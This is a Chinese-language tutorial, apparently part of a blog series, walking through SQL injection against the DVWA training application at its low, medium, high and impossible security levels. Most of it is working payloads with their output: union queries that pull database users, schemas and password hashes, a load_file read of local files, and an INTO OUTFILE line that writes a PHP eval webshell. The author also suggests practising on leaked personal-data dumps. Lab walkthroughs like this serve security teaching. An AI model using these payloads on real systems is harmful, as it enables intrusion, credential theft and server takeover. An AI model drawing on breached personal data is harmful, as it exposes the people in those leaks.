sql注入(連載二)安信華web弱點測試系統注入
好多人問我sql怎么學習,我一下也說不出來。我就在此做統一的解答:
sql語句分為兩種,不管怎么用還是怎么學習主要是要理解SQL語句的基本概念,框架,原理和解決問題的思路。具體要學的的數據庫是一門比較系統的學問感興趣的可以專門去研究它。所以這也又說明了Web安全是要有一定的開發基礎的,一個好的web安全工程師實際上也是一個全棧工程師。
至於我自己就是自己搭建一個庫,慢慢訓練着玩。而且現在網上爆出的社工庫那么多自己隨變練練足夠用了。
一.sql注入(low)
一樣的思路先嘗試是否有注入點既然是簡單模式那就直接輸入
1'
結果回顯
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''1''' at line 1
注意
''1'''
可判斷是mysql注入而且有字符型注入點,接下來嘗試注入
嘗試遍歷
1'or'1'='1
圖片1
分析一下原因
"SELECT first_name, last_name FROM users WHERE user_id = '1'or'1'='1' "
字符型構造的字符1永遠相等,結果返回所有的firstname和lastname
2.猜信息列數(order by)
1'order by 1 --
注意--后面有空格
返回正常
圖片2
當輸入
1'order by 3 --
報錯沒有該列,
所以猜得有兩個列
3.猜數據庫賬戶信息、數據庫名稱、數據庫版本信息(利用database,user,version函數)
1' and 1=2 union select 1,2 --
返回
ID: 1' and 1=2 union select 1,2 --
First name: 1
Surname: 2
從而得出First name處顯示結果為查詢結果第一列的值,surname處顯示結果為查詢結果第二列的值,
4.利用內置函數user(),及database(),version()注入得出連接數據庫用戶以及數據庫名稱:
1' and 1=2 union select user(),database() --
返回
ID: 1' and 1=2 union select user(),database() --
First name: root@localhost
Surname: dvwa
5.得到數據庫用戶和數據庫名稱
1'and 1=2 union select 1,@@global.version_compile_os from mysql.user --
6.獲得操作系統名稱
ID: 1'and 1=2 union select 1,@@global.version_compile_os from mysql.user --
First name: 1
Surname: Win32
7.測試連接數據庫權限
1' and ord(mid(user(),1,1))=114 --
知道是admin權限
ID: 1' and ord(mid(user(),1,1))=114 --
First name: admin
Surname: admin
8.查詢所有數據庫名稱
1' and 1=2 union select 1,schema_name from information_schema.schemata --
9.數據庫所有表
1' UNION SELECT 1,concat(table_name) from information_schema.tables where table_schema=database()--
10.猜表名
1' and exists(select * from users) --
表名為為admin
11.猜字段名
1' and exists(select first_name from users) --
字段名也為admin
12.爆用戶
1' and 1=2 union select first_name,last_name from users --
13.爆用戶名密碼
1' UNION SELECT 1,concat(user,0x3a,password) from users--
得到md5值的密碼,到pmd5解密一下就可以得到了
為什么要使用聯合查詢?
Union查詢結合了兩個select查詢結果,根據上文中的order by語句我們知道查詢包含兩列,為了能夠現實兩列查詢結果,我們需要用union查詢了結合我們構造的另外一個select.注意在使用union查詢的時候需要和主查詢的列數相同。
利用注入點讀/etc/passwd文件
使用聯合查詢語句構造,利用注入讀取c:\1.txt (Windows系統)
‘ UNION SELECT 1, load_file(‘c:\\1.txt’) +- -+ 或者
‘ union select 1, load_file(‘c:\/1.txt’) +- -+
利用注入寫入webshell
假設我們通過phpinfo文件知道了網站的物理路徑,接下來我們通過使用union select語句來寫入webshell.寫入需要你有寫入權限等。
‘ union select 1,’<?php eval($_POST[cmd]);?>‘ INTO OUTFILE ‘/var/www/dvwa/cmd.php’ +- -+
‘ union select 1,'<?php eval($_POST[cmd]);?>’ into outfile ‘c:\\2.php’+- -+
二.sql注入(medium)數字型
為了節約時間看看源碼
<?php
if( isset( $_POST[ 'Submit' ] ) ) {
// Get input
$id = $_POST[ 'id' ];
$id = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $id ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
// Check database
$query = "SELECT first_name, last_name FROM users WHERE user_id = $id;";
$result = mysqli_query($GLOBALS["___mysqli_ston"], $query ) or die( '<pre>' . mysqli_connect_error() . '</pre>' );
// Get results
while( $row = mysqli_fetch_assoc( $result ) ) {
// Display values
$first = $row["first_name"];
$last = $row["last_name"];
// Feedback for end user
echo "<pre>ID: {$id}<br />First name: {$first}<br />Surname: {$last}</pre>";
}
}
// This is used later on in the index.php page
// Setting it here so we can close the database connection in here like in the rest of the source scripts
$query = "SELECT COUNT(*) FROM users;";
$result = mysqli_query($GLOBALS["___mysqli_ston"], $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );
$number_of_rows = mysqli_fetch_row( $result )[0];
mysqli_close($GLOBALS["___mysqli_ston"]);
?>
分析:以發現,這里對用戶輸入的id參數進行了過濾,主要方法是使用了mysql_real_escape_string()函數,這個函數可以將$id變量中的單引號’、雙引號”、斜杠\等字符進行轉義,因而我們再輸入之前的“’or 1=1 #”就會報錯了,從錯誤提示中可以發現單引號’已經被轉義成了\’,因而注入語句無法發揮作用。
需要說明的是,在PHP中還有一個與mysql_real_escape_string()功能類似的函數:addslashes(),這兩個函數的功能都是對特殊字符進行轉義,那么到底用哪個函數更好一些呢?百度了一下,發現大家也是各執一詞。有人說mysql_real_escape_string()函數需要事先連接數據庫,可能會報錯,所以推薦使用addslashes();也有的人說addslashes()過濾不夠嚴格,推薦使用mysql_real_escape_string()。在DVWA中很明顯是推薦使用mysql_real_escape_string(),那么我們就相信DVWA好了。
下面我們分析一下這里該如何繞過過濾,繼續進行注入呢?我們再仔細觀察一下源碼,可以發現參數id已經被改為了數字型,第三行語句中“user_id = $id”,而之前的low級別是“user_id = ‘$id’”,其實這就是DVWA故意留下的一個漏洞。
值得一提的是雖然前端使用了下拉選擇菜單,但我們依然可以通過抓包改參數,提交惡意構造的查詢參數。
1.判斷是否存在注入,注入是字符型還是數字型
抓包更改參數id為
1′ or 1=1 #
2.猜解SQL查詢語句中的字段數
1 order by 2 #
1 order by 3 #
3.確定顯示的字段順序
1 union select 1,2 #
4.獲取當前數據庫
1 union select 1,database() #
5.獲取數據庫中的表
1 union select 1,group_concat(table_name) from information_schema.tables where table_schema=database() #
6.獲取表中的字段名
1 union select 1,group_concat(column_name) from information_schema.columns where table_name=0×7573657273 #
7.下載數據
1 or 1=1 union select group_concat(user_id,first_name,last_name),group_concat(password) from users #
其實在分析完成后和low是一個道理,所以關鍵在於怎么繞過
三.sql注入high級別
一樣代碼審計:
<?php
if( isset( $_SESSION [ 'id' ] ) ) {
// Get input
$id = $_SESSION[ 'id' ];
// Check database
$query = "SELECT first_name, last_name FROM users WHERE user_id = $id LIMIT 1;";
$result = mysql_query( $query ) or die( '<pre>Something went wrong.</pre>' );
// Get results
$num = mysql_numrows( $result );
$i = 0;
while( $i < $num ) {
// Get values
$first = mysql_result( $result, $i, "first_name" );
$last = mysql_result( $result, $i, "last_name" );
// Feedback for end user
echo "<pre>ID: {$id}<br />First name: {$first}<br />Surname: {$last}</pre>";
// Increase loop count
$i++;
}
mysql_close();
}
?>
分析:與Medium級別的代碼相比,High級別的只是在SQL查詢語句中添加了LIMIT 1,希望以此控制只輸出一個結果。然而並沒有什么卵用。雖然添加了LIMIT 1,但是我們可以通過#將其注釋掉。由於手工注入的過程與Low級別基本一樣。
最后
1 or 1=1 union select group_concat(user_id,first_name,last_name),group_concat(password) from users #
值得一提的是:High級別的查詢提交頁面與查詢結果顯示頁面不是同一個,也沒有執行302跳轉,這樣做的目的是為了防止一般的sqlmap注入,因為sqlmap在注入過程中,無法在查詢提交頁面上獲取查詢的結果,沒有了反饋,也就沒辦法進一步注入。
3.SQL注入impossible級
代碼審計
<?php
if( isset( $_GET[ 'Submit' ] ) ) {
// Check Anti-CSRF token
checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );
// Get input
$id = $_GET[ 'id' ];
// Was a number entered?
if(is_numeric( $id )) {
// Check the database
$data = $db->prepare( 'SELECT first_name, last_name FROM users WHERE user_id = (:id) LIMIT 1;' );
$data->bindParam( ':id', $id, PDO::PARAM_INT );
$data->execute();
$row = $data->fetch();
// Make sure only 1 result is returned
if( $data->rowCount() == 1 ) {
// Get values
$first = $row[ 'first_name' ];
$last = $row[ 'last_name' ];
// Feedback for end user
echo "<pre>ID: {$id}<br />First name: {$first}<br />Surname: {$last}</pre>";
}
}
}
// Generate Anti-CSRF token
generateSessionToken();
?>
可以看到,Impossible級別的代碼采用了PDO技術,划清了代碼與數據的界限,有效防御SQL注入,同時只有返回的查詢結果數量為一時,才會成功輸出,這樣就有效預防了“脫褲”,Anti-CSRFtoken機制的加入了進一步提高了安全性。